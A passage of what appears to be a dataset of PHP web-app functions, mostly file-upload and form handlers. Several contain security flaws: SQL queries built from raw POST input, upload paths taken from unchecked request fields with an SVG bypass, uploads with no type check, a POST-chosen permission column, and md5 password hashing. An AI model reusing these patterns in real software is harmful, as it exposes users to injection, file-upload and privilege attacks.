$this->upload->display_errors();\n \n $payment = array('name' => strtolower($this->input->post('tname')),\n 'orders' => $this->input->post('torder'), \n 'acc_no' => $this->input->post('taccno'), \n 'pos' => $this->input->post('cpos'), \n 'acc_name' => $this->input->post('taccname'));\n \n $img = null;\n }\n else\n {\n $info = $this->upload->data();\n $payment = array('name' => strtolower($this->input->post('tname')),\n 'orders' => $this->input->post('torder'), \n 'acc_no' => $this->input->post('taccno'), \n 'acc_name' => $this->input->post('taccname'), \n 'pos' => $this->input->post('cpos'), \n 'image' => $info['file_name']);\n \n $img = base_url().'images/payment/'.$info['file_name'];\n }\n \n if ($this->model->update($uid, $payment) != true && $this->upload->display_errors()){ $this->reject($this->upload->display_errors());\n }else{ $this->error = $this->title.' successfully saved..!'; }\n }\n else{ $this->reject(validation_errors()); }\n }else{ $this->reject_token(); }\n $this->api->response(array('error' => $this->error, 'content' => $data), $this->status); \n }", "public function upload_foto_kk()\n {\n $where = $this->input->post('id_warga');\n if ($_FILES != null) {\n $this->aksi_upload_foto_kk($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_warga/' . $where);\n }", "public function updateinflu()\n\t{\n\t\t$now = date(\"Y-m-d H:i:s\");\n\t\t$id = $this->input->post('edit');\n\t\n\t\t//if user does not select any files update only data\n\t\t$this->validation(); \n\t $data['customer'] = $this->Da_TIN_influencer->show_one($id);\n\t\t\n // check for validation\n\t if ($this->form_validation->run() == FALSE)\n\t {\n\n\t $data['title'] = \"TIN | HOME\";\n\t\t\t$this->load->view('header',$data);\n\t\t\t$this->load->view('admin/update_view',$data); \n\t\t\t$this->load->view('footer');\n\t }\n\t else\n\t {\n\t\t\tif($_FILES['picture']['name'] == \"\")\n\t\t\t{\n\t\t\t\n\t\t\t\t$data = array(\n\t\t\t\t\t\t'name' => $this->input->post('name') ,\n\t\t\t\t\t\t'firstname' => $this->input->post('firstname'),\n\t\t\t\t\t\t'lastname' => $this->input->post('lastname'),\n\t\t\t\t\t\t'email' => $this->input->post('email'),\n\t\t\t\t\t\t'sex' => $this->input->post('sex'),\n\t\t\t\t\t\t'birthday' => $this->input->post('birthday'),\n\t\t\t\t\t\t'address' => $this->input->post('address'),\n\t\t\t\t\t\t'id_card' => $this->input->post('id_card'),\n\t\t\t\t\t\t'bank' => $this->input->post('bank'),\n\t\t\t\t\t\t'bank_account' => $this->input->post('bank_account'),\n\t\t\t\t\t\t'fb_id' =>$this->input->post('fb_id'),\n\t\t\t\t\t\t'name_fb' => $this->input->post('name_fb'),\n\t\t\t\t\t\t'usernameIG' =>$this->input->post('usernameIG'),\n\t\t\t\t\t\t'token' => $this->input->post('token'),\n\t\t\t\t\t\t'updated'=> $now,\n\t\t\t\t\t\t\n\t\t\t\t\t);\n\t\t\t\t$data1 = array(\n\t\t\t\t\t'fb_id' => $this->input->post('fb_id'),\n\t\t\t\t\t'name_fb' => $this->input->post('name_fb'),\n\t\t\t\t);\n\t\t\t\t$data2 = array(\n\t\t\t\t\t'usernameIG' => $this->input->post('usernameIG'),\n\t\t\t\t\t'token' => $this->input->post('token'),\n\t\t\t\t);\n\t\t\t\t$this->Da_TIN_influencer->updated($id,$data,$data1,$data2);\n\n\t\t\t\t//if adding success go to influencer list page.\n\t\t\t\tredirect('/admin/influencer');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$file_data = $this->uploadimage();\n\t\t\t\n\t\t\t\t$data = array(\n\t\t\t\t\t\t'name' => $this->input->post('name') ,\n\t\t\t\t\t\t'firstname' => $this->input->post('firstname'),\n\t\t\t\t\t\t'lastname' => $this->input->post('lastname'),\n\t\t\t\t\t\t'email' => $this->input->post('email'),\n\t\t\t\t\t\t'sex' => $this->input->post('sex'),\n\t\t\t\t\t\t'birthday' => $this->input->post('birthday'),\n\t\t\t\t\t\t'picture' => $file_data['file_name'],\n\t\t\t\t\t\t'address' => $this->input->post('address'),\n\t\t\t\t\t\t'id_card' => $this->input->post('id_card'),\n\t\t\t\t\t\t'bank' => $this->input->post('bank'),\n\t\t\t\t\t\t'bank_account' => $this->input->post('bank_account'),\n\t\t\t\t\t\t'fb_id' =>$this->input->post('fb_id'),\n\t\t\t\t\t\t'name_fb' => $this->input->post('name_fb'),\n\t\t\t\t\t\t'usernameIG' =>$this->input->post('usernameIG'),\n\t\t\t\t\t\t'token' => $this->input->post('token'),\n\t\t\t\t\t\t'updated'=> $now,\n\t\t\t\t\t\t\n\t\t\t\t\t);\n\t\t\t\t$data1 = array(\n\t\t\t\t\t'fb_id' => $this->input->post('fb_id'),\n\t\t\t\t\t'name_fb' => $this->input->post('name_fb'),\n\t\t\t\t);\n\t\t\t\t$data2 = array(\n\t\t\t\t\t'usernameIG' => $this->input->post('usernameIG'),\n\t\t\t\t\t'token' => $this->input->post('token'),\n\t\t\t\t);\n\t\t\t\n\t\t\t\t$this->Da_TIN_influencer->updated($id,$data);\n\n\t\t\t\t//if adding success go to influencer list page.\n\t\t\t\tredirect('/admin/influencer');\n\t\t\t}\t\n\t\t}\n\t}", "function tambah($data)\r\n{\r\n global $link;\r\n\r\n $judul = htmlspecialchars($data[\"judul\"]);\r\n $rilis = htmlspecialchars($data[\"rilis\"]);\r\n $director = htmlspecialchars($data[\"director\"]);\r\n $rottentomatoes = htmlspecialchars($data[\"rottentomatoes\"]);\r\n\r\n // Upload Gambar\r\n\r\n $gambar = upload();\r\n if (!$gambar) {\r\n return false;\r\n }\r\n\r\n\r\n\r\n $query = \"INSERT INTO daftaranime\r\n VALUES \r\n ('' ,'$judul' , '$rilis' , '$director', '$rottentomatoes', '$gambar' )\r\n \";\r\n\r\n mysqli_query($link, $query);\r\n\r\n return mysqli_affected_rows($link);\r\n}", "function index_post() {\n\t\t$enc_password = password_hash($this->post('password'), PASSWORD_DEFAULT);\n\t\tif($this->post('level') == \"fl\" || $this->post('level') == \"non_fl\"){\n\t\t\t$q = \"INSERT INTO tb_user(nik, nama, alamat, email, password, nohp, level, id_shift) VALUES('\".$this->post('nik').\"','\".$this->post('nama').\"','\".$this->post('alamat').\"','\".$this->post('email').\"','\".$enc_password.\"','\".$this->post('nohp').\"','\".$this->post('level').\"','\".$this->post('id_shift').\"')\";\n\t\t\t$insert_to_table = $this->db->query($q);\n\t\t\tif($insert_to_table=='1'){\n\t\t\t\t// $this->response(array('status' => 'Success', 200));\n\t\t\t\t$this->response(array('status' => '1', 200));\n\t\t\t}else{\n\t\t\t\t// $this->response(array('status' => 'Failed, please try again!', 502));\n\t\t\t\t$this->response(array('status' => '0', 502));\n\t\t\t}\n\t\t}else{\n\t\t\t$q = \"INSERT INTO tb_user(nik, nama, alamat, email, password, nohp, level) VALUES('\".$this->post('nik').\"','\".$this->post('nama').\"','\".$this->post('alamat').\"','\".$this->post('email').\"','\".$enc_password.\"','\".$this->post('nohp').\"','\".$this->post('level').\"')\";\n\t\t\t$insert_to_table = $this->db->query($q);\n\t\t\tif($insert_to_table=='1'){\n\t\t\t\t// $this->response(array('status' => 'Success', 200));\n\t\t\t\t$this->response(array('status' => '1', 200));\n\t\t\t}else{\n\t\t\t\t// $this->response(array('status' => 'Failed, please try again!', 502));\n\t\t\t\t$this->response(array('status' => '0', 502));\n\t\t\t}\n\t\t}\n }", "function add()\n {\n if (isset($_POST) && count($_POST) > 0) {\n $params = array(\n 'password' => md5($this->input->post('password')),\n 'nama' => $this->input->post('nama'),\n 'foto' => $this->input->post('foto'),\n 'username' => $this->input->post('username'),\n 'level' => $this->input->post('level'),\n 'foto' => $this->_uploadImage()\n );\n\n $user_id = $this->User_model->add_user($params);\n redirect('user/index');\n } else {\n $data['_view'] = 'user/add';\n if ($this->session->userdata(\"level\") == 'admin') {\n $this->load->view('layouts/main', $data);\n } else {\n $this->load->view('layouts/main_user', $data);\n }\n }\n }", "public function uploadImage()\r\n {\r\n /*\r\n * Response codes\r\n * 000 - Нет ошибок\r\n * 001 - Нет данных\r\n * 002 - Ошибка получения параметров файла\r\n * 003 - Ошибка получения пути файла\r\n * 004 - Ошибка перемещения файла\r\n * 005 - Требования не соблюдены\r\n * 006 - Нет папки салона\r\n */\r\n if (isset($_POST) &&\r\n isset($_FILES) &&\r\n array_key_exists('upload', $_FILES) &&\r\n count($_FILES['upload']) > 0 &&\r\n array_key_exists('slug', $_POST) &&\r\n array_key_exists('img_name', $_POST) &&\r\n array_key_exists('type', $_POST)\r\n ) {\r\n $type = $_POST['type'];\r\n if ($this->authentication->has_permission($type . '_upload')) {\r\n $img_name = $_POST['img_name'];\r\n $tmpFilePath = $_FILES['upload']['tmp_name'][0];\r\n $tmpFileType = $_FILES['upload']['type'][0];\r\n $tmpFileExtension = pathinfo($_FILES['upload']['name'][0], PATHINFO_EXTENSION);\r\n $tmpFileSize = $_FILES['upload']['size'][0];\r\n $tmpImageInfo = getimagesize($_FILES['upload']['tmp_name'][0]);\r\n if (array_key_exists('img_slug', $_POST)) {\r\n $fileParams = $this->FieldsModel->getFile($_POST['img_slug'], $_POST['img_slug']);\r\n } else {\r\n $fileParams = $this->FieldsModel->getFile($type, $img_name);\r\n }\r\n if ($fileParams) {\r\n if (\r\n $tmpFileType != $fileParams['mime'] ||\r\n $tmpImageInfo['mime'] != $fileParams['mime'] ||\r\n $tmpFileExtension != $fileParams['ext'] ||\r\n $tmpFileSize > $fileParams['max_size'] ||\r\n $tmpImageInfo[0] > $fileParams['max_width'] ||\r\n $tmpImageInfo[0] < $fileParams['min_width'] ||\r\n $tmpImageInfo[1] > $fileParams['max_height'] ||\r\n $tmpImageInfo[1] < $fileParams['min_height']\r\n ) {\r\n if ($tmpFileExtension === 'svg') {\r\n //Do nothing\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не удовлетворяет требованиям.', 'code' => '005', 'fileparams' => $fileParams));\r\n return;\r\n }\r\n }\r\n // Make sure we have a file path\r\n if ($tmpFilePath != '') {\r\n // Setup new file path\r\n if (!file_exists('./media/' . $_POST['type'] . '/' . $_POST['slug'] . '/')) {\r\n mkdir('./media/' . $_POST['type'] . '/' . $_POST['slug']);\r\n //echo json_encode(array('status' => 'fail', 'message' => 'Салон не сконфигурирован. Обратитесь к поставщику услуг.', 'code' => '006'));\r\n //return;\r\n }\r\n $newFilePath = './media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n // Upload the file into the temp dir\r\n if (move_uploaded_file($tmpFilePath, $newFilePath)) {\r\n // Create path to update image in frontend\r\n $path = base_url() . 'media/' . $_POST['type'] . '/' . $_POST['slug'] . '/' . $_POST['img_name'] . '.' . $tmpFileExtension;\r\n echo json_encode(array('status' => 'ok', 'message' => 'Изображение загружено.', 'code' => '000', 'path' => $path));\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '004'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '003'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '002'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, у вас нет прав!', 'code' => '999'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '001'));\r\n }\r\n }", "function uploadFoto() {\n \n $namaFile = $_FILES['photo']['name'];\n $ukuranFile = $_FILES['photo']['size'];\n $error = $_FILES['photo']['error'];\n $tmpName = $_FILES['photo']['tmp_name'];\n\n // cek apakah ada foto yang di upload\n // 4 = tidak ada gambar yang di upload (error message)\n if( $error === 4 ) {\n echo \"<script>Swal.fire({\n title: 'Failed!',\n text: 'Select image first',\n icon: 'error',\n confirmButtonText: 'OK'\n });</script>\";\n return false;\n }\n \n // cek apakah foto yang diupload adalah gambar\n $ekstensiFotoValid = ['jpg', 'jpeg', 'png'];\n \n // mengambil ekstensi gambar dari nama file\n $ekstensiFoto = explode('.', $namaFile);\n $ekstensiFoto = strtolower(end($ekstensiFoto));\n \n // cek apakah ekstensi gambar valid\n if( !in_array($ekstensiFoto, $ekstensiFotoValid) ) {\n echo \"<script>Swal.fire({\n title: 'Failed!',\n text: 'Image invalid format. Only this files are allowed: PNG, JPG, JPEG',\n icon: 'error',\n confirmButtonText: 'OK'\n });</script>\";\n return false; \n }\n\n // cek ukuran gambar (byte)\n if( $ukuranFile > 1000000 ) {\n echo \"<script>Swal.fire({\n title: 'Failed!',\n text: 'Image may not be greater than 1 MB',\n icon: 'error',\n confirmButtonText: 'OK'\n });</script>\";\n return false;\n }\n\n // gambar valid, siap di upload\n\n // var_dump();\n // exit;\n\n move_uploaded_file($tmpName, 'assets/images/users/' . $namaFile);\n copy('assets/images/users/' . $namaFile, 'D:\\\\INO\\PRAKERIN\\\\Project\\\\absensi_karyawan_mobile\\\\public\\\\assets\\\\images\\\\' . $namaFile);\n copy('assets/images/users/' . $namaFile, 'D:\\\\INO\\\\PRAKERIN\\\\Project\\\\absensi_karyawan_mobile\\\\android\\\\app\\\\src\\\\main\\\\assets\\\\public\\\\assets\\\\images\\\\' . $namaFile);\n \n\n return $namaFile;\n\n }", "function cambiarPermiso()\n {\n $registro = array(\n $this->input->post('campo') => $this->input->post('valor'),\n );\n \n $this->m_roles_permisos->update($registro, $this->input->post('id_rol_permiso'));\n \n echo $this->input->post('campo').\" => \".$this->input->post('valor').' '.$this->input->post('id_rol_permiso');\n }", "public function upload_foto_kk()\n\t{\n\t\t$where = $this->input->post('id_warga');\n\t\tif ($_FILES != null) {\n\t\t\t$this->aksi_upload_foto_kk($_FILES);\n\t\t}\n\t\t$this->session->set_flashdata('success', 'diubah');\n\t\tredirect('warga/profil_saya/' . $where);\n\t}", "function addIdentitas($data,$request)\n {\n //handle tanda tangan\n if (Auth::user()->tipe == \"admin\"){\n $user = $this->getAnggota($request->no_ktp);\n $user_edit = User::where('no_ktp', $request->no_ktp)->first();\n }else{\n $user = $this->getAnggota(Auth::user()->no_ktp);\n }\n\n if (isset($request->tanda_tangan) && $request->tanda_tangan != null){\n $folderPath = public_path('storage/public/tanda_tangan/');\n $image_parts = explode(\";base64,\", $request->tanda_tangan);\n $image_type_aux = explode(\"image/\", $image_parts[0]);\n $image_type = $image_type_aux[1];\n $image_base64 = base64_decode($image_parts[1]);\n $file = $folderPath . uniqid() . '.'.$image_type;\n $tanda_tangan_path = str_after($file,$folderPath);\n }else{\n if (isset(json_decode($user->pathfile,true)['Tanda_tangan'])){\n $tanda_tangan_path = json_decode($user->pathfile,true)['Tanda_tangan'];\n }else{\n $tanda_tangan_path = \"\";\n }\n\n }\n\n\n\n\n $uploadedKTP = $request->file('filektp');\n $uploadedKSK = $request->file('fileksk');\n $uploadedNikah = $request->file('filenikah');\n $filename =$filename2=$filename3=$prevfile=$prevfile2=$prevfile3=null;\n if($uploadedKTP){\n $path = $uploadedKTP->store('public/file');\n $filename =str_after($path, 'public/file/');\n $prevfile = json_decode($user->pathfile,true)['KTP'];\n }\n else $filename = json_decode($user->pathfile,true)['KTP'];\n if($uploadedKSK){\n $path2 = $uploadedKSK->store('public/file');\n $filename2 =str_after($path2, 'public/file/');\n $prevfile2 = json_decode($user->pathfile,true)['KSK'];\n }\n else $filename2 = json_decode($user->pathfile,true)['KSK'];\n if($uploadedNikah){\n $path3 = $uploadedNikah->store('public/file');\n $filename3 =str_after($path3, 'public/file/');\n $prevfile3 = json_decode($user->pathfile,true)['Nikah'];\n }\n else $filename3 = json_decode($user->pathfile,true)['Nikah'];\n $encode = json_encode($data);\n $detail = [\n 'profile' => json_decode($user->pathfile,true)['profile'],\n 'KTP' => $filename,\n 'KSK' => $filename2,\n 'Nikah' => $filename3,\n 'Tanda_tangan' => $tanda_tangan_path\n ];\n if($prevfile){\n Storage::delete(\"public/file/\".$prevfile);\n }\n if($prevfile2)\n Storage::delete(\"public/file/\".$prevfile2);\n if($prevfile3)\n Storage::delete(\"public/file/\".$prevfile3);\n if (Auth::user()->tipe == \"admin\"){\n $pengajuan = Pengajuan::where('kategori',\"Tabungan Awal\")->where('status',\"Menunggu Konfirmasi\")->where('id_user', $user_edit->id)->first();\n }else{\n $pengajuan = Pengajuan::where('kategori',\"Tabungan Awal\")->where('status',\"Menunggu Konfirmasi\")->where('id_user',Auth::user()->id)->first();\n }\n\n if(Auth::user()->tipe == \"admin\"){\n if(Auth::user()->tipe ==\"teller\"){\n $data['no_ktp']=Auth::user()->no_ktp;\n $status=2;\n }\n elseif(!isset($pengajuan) && count($this->getAllTabUsr($user_edit->id)) != 0){\n $status = 2;\n }\n else{\n if(!isset($pengajuan))\n $this->daftar_pengajuan_baru($request->tab);\n $status =1;\n }\n }else{\n if(Auth::user()->tipe ==\"teller\"){\n $data['no_ktp']=Auth::user()->no_ktp;\n $status=2;\n }\n elseif(!isset($pengajuan) && count($this->getAllTabUsr()) != 0){\n $status = 2;\n }\n else{\n if(!isset($pengajuan))\n $this->daftar_pengajuan_baru($request->tab);\n $status =1;\n }\n }\n\n\n if (Auth::user()->tipe == \"admin\"){\n $dt = $this->user->where('id', $user_edit->id)\n ->update(['detail' => $encode,\n 'no_ktp' => $data['no_ktp'],\n 'pathfile' => json_encode($detail),\n 'status' => $status,\n 'nama' => $data['nama'],\n 'alamat' => $data['alamat_domisili'],\n ]);\n\n }else{\n\n $dt = $this->user->where('id', Auth::user()->id)\n ->update(['detail' => $encode,\n 'no_ktp' => $data['no_ktp'],\n 'pathfile' => json_encode($detail),\n 'status' => $status,\n 'nama' => $data['nama'],\n 'alamat' => $data['alamat_domisili'],\n ]);\n }\n\n\n if (isset($request->tanda_tangan) && $request->tanda_tangan != null) {\n file_put_contents($file, $image_base64);\n }\n\n return $dt;\n }", "function upload(){\r\n\t\t\tglobal $_POST;\r\n\t\t\t$_POST['folder'] = str_replace('/umeos','',$_POST['folder']);\r\n\t\t\t$_POST['folder'] = str_replace('/root/infinite-home/','',$_POST['folder']);\r\n\r\n\t\t\tif (!empty($_FILES)) {\r\n\t\t\t\tforeach($_FILES as $file){\r\n\t\t\t if (!empty($file['tmp_name'])) {\r\n\t\t\t $this->mFile['size']\t= $file['size'];\r\n\t\t\t $this->mFile['type']\t= $file['type'];\r\n\t\t\t \t$tmp \t\t\t\t\t= $file['tmp_name'];\r\n\t\t\t \t$this->mFile['path'] \t= ($_POST['user_id']) ? $_SERVER['HTTP_HOST'].'/'. $_POST['user_id'] : $_SERVER['HTTP_HOST'] ;\r\n\t\t\t $this->mFile['name'] \t= $file['name'];\r\n\t\t\t $this->mFile['md5'] \t= md5_file($tmp);\r\n\t\t\t $this->mFile['real'] \t= htmlentities(urlencode($this->mFile['name']));\r\n\t\t\t $this->mFile['loc'] \t= '/^/'.$this->mFile['path'] .'/'. $this->mFile['md5'];\r\n\t\t\t $this->mFile['src'] \t= str_replace('//','/',$_SERVER['DOCUMENT_ROOT'].$this->mFile['loc']);\r\n\t\t\t // Uncomment the following line if you want to make the directory if it doesn't exist\r\n\t\t\t /**\r\n\t\t\t * we dont want to save the file in a dir tree...\r\n\t\t\t * only the db holds that info. instead we change save the file as its md5 hash.\r\n\t\t\t *\r\n\t\t\t */\r\n\r\n\t\t\t if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/^/')){\r\n\t\t\t \tmkdir($_SERVER['DOCUMENT_ROOT'].'/^/', 0755, true);\r\n\t\t\t }\r\n\r\n\t\t\t $path = $_SERVER['DOCUMENT_ROOT'].'/^/'.$this->mFile['path'];\r\n\t\t\t $path = str_replace('//','/',$path);\r\n\r\n\r\n\t\t\t if(!file_exists($path)){\r\n\t\t\t \tmkdir($path, 0755, true);\r\n\t\t\t }\r\n\r\n\t\t\t move_uploaded_file($tmp,$this->mFile['src']);\r\n\t\t\t return $this->Index();\r\n\t\t\t }\r\n\t\t\t }\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}", "public function upload_lampiran_surat_masuk()\n {\n $where = $this->input->post('id_sm');\n if ($_FILES != null) {\n $this->aksi_upload_lampiran_surat_masuk($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_surat_masuk/' . $where);\n }", "public static function upload($data)\n {\n include 'mimes.php';\n // $data['form'] adalah nama form input yang menjadi acuan\n // $data['folder'] adalah nama folder tujuan untuk menjadi penyimpanan\n \n // Cek apakah data form dan folder sudah diset atau belum\n if(!isset($data['folder']) && !isset($data['form'])) {\n throw new Exception(\"All request can't null\", 1);\n }\n\n $ekstensi_diperbolehkan\t= $mimes;\n $nama = strtolower(self::random(rand(4, 22))) . '-' . str_replace(' ', '-', $_FILES[$data['form']]['name']);\n $x = explode('.', $nama);\n $ekstensi = strtolower(end($x));\n $ukuran\t= $_FILES[$data['form']]['size'];\n $file_tmp = $_FILES[$data['form']]['tmp_name'];\t\n \n \n // Cek apakah ketika menerima file terdapat error atau tidak\n if(isset($_FILES[$data['form']]['error']) && $_FILES[$data['form']]['error'] == 1) {\n $status['status'] = 'ERROR WHILE RECEIVE FILES! Please try other file';\n $status['filename'] = null;\n $status['filesize'] = null;\n $status['storageLocation'] = null;\n return $status;\n die();\n }\n \n if(in_array($ekstensi, $ekstensi_diperbolehkan) === true){\n if($ukuran <= MAXUPLOAD){\t\t\t\n \n // Cek apakah folder upload sudah tersedia?\n if(!is_dir(UPLOADPATH)) {\n throw new Exception(\"Root folder to store this file are not found!\", 404);\n }\n \n // Otomatis membuat direktori baru jika direktori yang diminta tidak ditemukan\n $dir = UPLOADPATH . '/' . $data['folder'];\n \n if (!file_exists( $dir ) && !is_dir($dir)) {\n mkdir(UPLOADPATH . '/' . $data['folder']);\n } \n\n move_uploaded_file($file_tmp, $dir . '/' . $nama);\n\n $bytes = $ukuran;\n\n if ($bytes >= 1073741824)\n {\n $bytes = number_format($bytes / 1073741824, 2) . ' GB';\n }\n elseif ($bytes >= 1048576)\n {\n $bytes = number_format($bytes / 1048576, 2) . ' MB';\n }\n elseif ($bytes >= 1024)\n {\n $bytes = number_format($bytes / 1024, 2) . ' KB';\n }\n elseif ($bytes > 1)\n {\n $bytes = $bytes . ' bytes';\n }\n elseif ($bytes == 1)\n {\n $bytes = $bytes . ' byte';\n }\n else\n {\n $bytes = '0 bytes';\n }\n \n $status['status'] = 'Success';\n $status['filename'] = $nama;\n $status['filesize'] = $bytes;\n $status['storageLocation'] = PROJECTURL . '/assets/upload/' . $data['folder'] . '/' . $nama;\n return $status;\n\n }else{\n $status['status'] = 'THE SIZE OF FILE IS TOO LARGE';\n $status['filename'] = null;\n $status['filesize'] = null;\n $status['storageLocation'] = null;\n return $status;\n } \n }else{\n $status['status'] = 'EXTENSION OF FILES IS NOT ALLOWED';\n $status['filename'] = null;\n $status['filesize'] = null;\n $status['storageLocation'] = null;\n return $status;\n }\n }", "public function altPerfil()\n {\n $this->Dados = filter_input_array(INPUT_POST, FILTER_DEFAULT);\n if (!empty($this->Dados['EditPerfil']))\n {\n unset($this->Dados['EditPerfil']);\n //var_dump($this->Dados);\n\n $this->Dados['imagem'] = ($_FILES['imagem'] ? $_FILES['imagem'] : null);\n $altPerfilBd = new AdmsEditarPerfil();\n $altPerfilBd->altPerfil($this->Dados);\n if ($altPerfilBd->getResultado()) {\n\n $UrlDestino = URLADM . 'ver-perfil/perfil';\n header(\"Location: $UrlDestino\");\n\n } else {\n\n $this->Dados['form'] = $this->Dados;\n $this->altPerfilPriv();\n\n }\n\n }\n else {\n\n $verPerfil = new AdmsVerPerfil();\n $this->Dados['form'] = $verPerfil->verPerfil();\n $this->altPerfilPriv();\n\n\n }\n\n\n }", "public function uploadfiles(){\n\t\tif($this->request->isPost()){\n\t\t\t//die(\"kkk\");\n\t\t\tif($this->processfile()){\n\t\t\t\t\n\t\t\t\t\tif($this->Upload->save($this->data,array('validate'=>true))){\n\t\t\t\t} else {\n\t\t\t\t\t// didn’t validate logic\n\t\t\t\t\t$errors = $this->Upload->validationErrors;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t}", "public function ubah($username)\n\t{\n\t\t$data['message'] = \"\";\n\t\t//load library form_validation\n\t\t$this->load->library(\"form_validation\");\n\t\t/* aturan form validation \n\t\t- parameter 1 ('id') = ditujukan pada input yang name=\"id\"\n\t\t- parameter 2 ('ID') = untuk tampilan error\n\t\t- parameter 3 ('required') = rule nya (ada banyak rule buka di userguide)\n\t\t*/\n\t\t$this->form_validation->set_rules('username','Username','required');\n\n\t\t// intinya membuat warna error menjadi merah :D\n\t\t$this->form_validation->set_error_delimiters('<div class=\"text-danger\">', '</div>');\n\n\t\t\n\n\t\t//memberikan data berisi data yang sesuai dengan $id\n\t\t$data['getData'] = $this->Member_m->getDataWhereId($username)[0];\n\n\t\t// if jika kita belum melakukan submit\n\t\tif($this->form_validation->run()==FALSE){\n\t\t\t//menampilkan view 'penulis/ubah.php'\n\t\t\t$this->load->view('Member/ubah',$data);\n\t\t}\n\t\t// jika kita sudah melalukan submit\n\t\telse{\n\t\t\tif ($_FILES['foto']['name'] == \"\")\n\t\t\t{\n\t\t\t\t//memanggil fungsi insertData pada model\n\t\t\t\t$this->Member_m->updateData($username);\n\t\t\t//redirect / pergi ke halaman 'penulis'\n\t\t\t\tredirect('member');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$upload = $this->Member_m->upload();\n\t\t\t\tif($upload['result'] == \"success\"){ \n\t\t\t\t\t$this->Member_m->updateData($id,$upload['file']['file_name']);\n\t\t\t\t\tredirect('Member');\n\t\t\t\t}else{ \n\t\t\t\t\t$data['error_upload'] = $upload['error'];\n\t\t\t\t\t$this->load->view('Member/ubah',$data);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function do_inputanTor()\n {\n $data = array('success' => false, 'pesan' => '', 'base_url' => base_url('user/daftartor'), 'message' => array());\n $max_size_file = 104857600; // 104857600 B - 102400 KB - 100 MB - 0.09766 GB\n $path_upload_file = \"./assets/dokumen/tor/\";\n\n $this->form_validation->set_rules(\"kd_tor\", \"kode tor\", \"trim|required\", [\"required\" => \"Kode TOR tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"jdl_tor\", \"judul tor\", \"trim|required\", [\"required\" => \"Judul TOR tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"latar_belakang\", \"latar belakang\", \"trim|required\", [\"required\" => \"Latar belakang tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"tujuan\", \"tujuan\", \"trim|required\", [\"required\" => \"Tujuan tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"narasumber\", \"narasumber\", \"trim|required\", [\"required\" => \"Fasilitator / Narasumber tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"jml_peserta\", \"Jumlah Peserta\", \"trim|required\", [\"required\" => \"Jumlah Peserta tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"kalender\", \"kalender\", \"trim|required\", [\"required\" => \"Kalender tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"tgl_selesai\", \"Tanggal Selesai\", \"trim|required\", [\"required\" => \"Tanggal Selesai tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"lokasi_kegiatan\", \"lokasi kegiatan\", \"trim|required\", [\"required\" => \"Lokasi kegiatan tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"nm_kecamatan\", \"kecamatan\", \"trim|required\", [\"required\" => \"Kecamatan tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"nm_desa\", \"desa\", \"trim|required\", [\"required\" => \"Desa tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"anggaran\", \"anggaran\", \"trim|required\", [\"required\" => \"Anggaran tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"perlengkapan\", \"perlengkapan\", \"trim|required\", [\"required\" => \"Perlengkapan tidak boleh kosong\"]);\n $this->form_validation->set_rules(\"penutup\", \"penutup\", \"trim|required\", [\"required\" => \"Penutup tidak boleh kosong\"]);\n $this->form_validation->set_error_delimiters('<p class=\"text-danger\" style=\"font-size: 14px;\">', '</p>');\n\n if ($this->form_validation->run()) {\n foreach ($_POST as $key => $value) {\n $data['message'][$key] = \"\";\n }\n $kode_tor = $this->autokode('tb_tor', 'kode_tor', 'TOR-');\n\n if (isset($_FILES['file_rab']) && !empty($_FILES['file_rab']['name'])) {\n $name = $_FILES['file_rab']['name'];\n $size = $_FILES['file_rab']['size'];\n $mime = get_mime_by_extension($_FILES['file_rab']['name']);\n\n if ($mime <> \"application/pdf\") {\n $data['message']['file_rab'] = '<p class=\"text-danger\" style=\"font-size: 14px;\">File RAB harus berekstensi *.pdf </p>';\n }\n if ($size > $max_size_file) {\n $data['message']['file_rab'] = '<p class=\"text-danger\" style=\"font-size: 14px;\">File RAB melebihi 100 MB</p>';\n }\n\n if (($mime == \"application/pdf\") && ($size <= $max_size_file)) {\n $config['tor']['upload_path'] = $path_upload_file;\n $config['tor']['allowed_types'] = 'pdf';\n $config['tor']['max_size'] = 102400;\n $config['tor']['file_name'] = $kode_tor;\n\n $this->load->library('upload', $config['tor']);\n if ($this->upload->do_upload('file_rab')) {\n $data['success'] = true;\n\n $data_tor = array(\n 'kode_tor' => $kode_tor,\n 'judul_tor' => $this->input->post('jdl_tor'),\n 'ltr_belakang' => $this->input->post('latar_belakang'),\n 'tujuan' => $this->input->post('tujuan'),\n 'fasilitator' => $this->input->post('narasumber'),\n 'jml_peserta' => $this->input->post('jml_peserta'),\n 'tgl' => $this->input->post('kalender'),\n 'tgl_selesai' => $this->input->post('tgl_selesai'),\n 'lokasi' => $this->input->post('lokasi_kegiatan'),\n 'kecamatan' 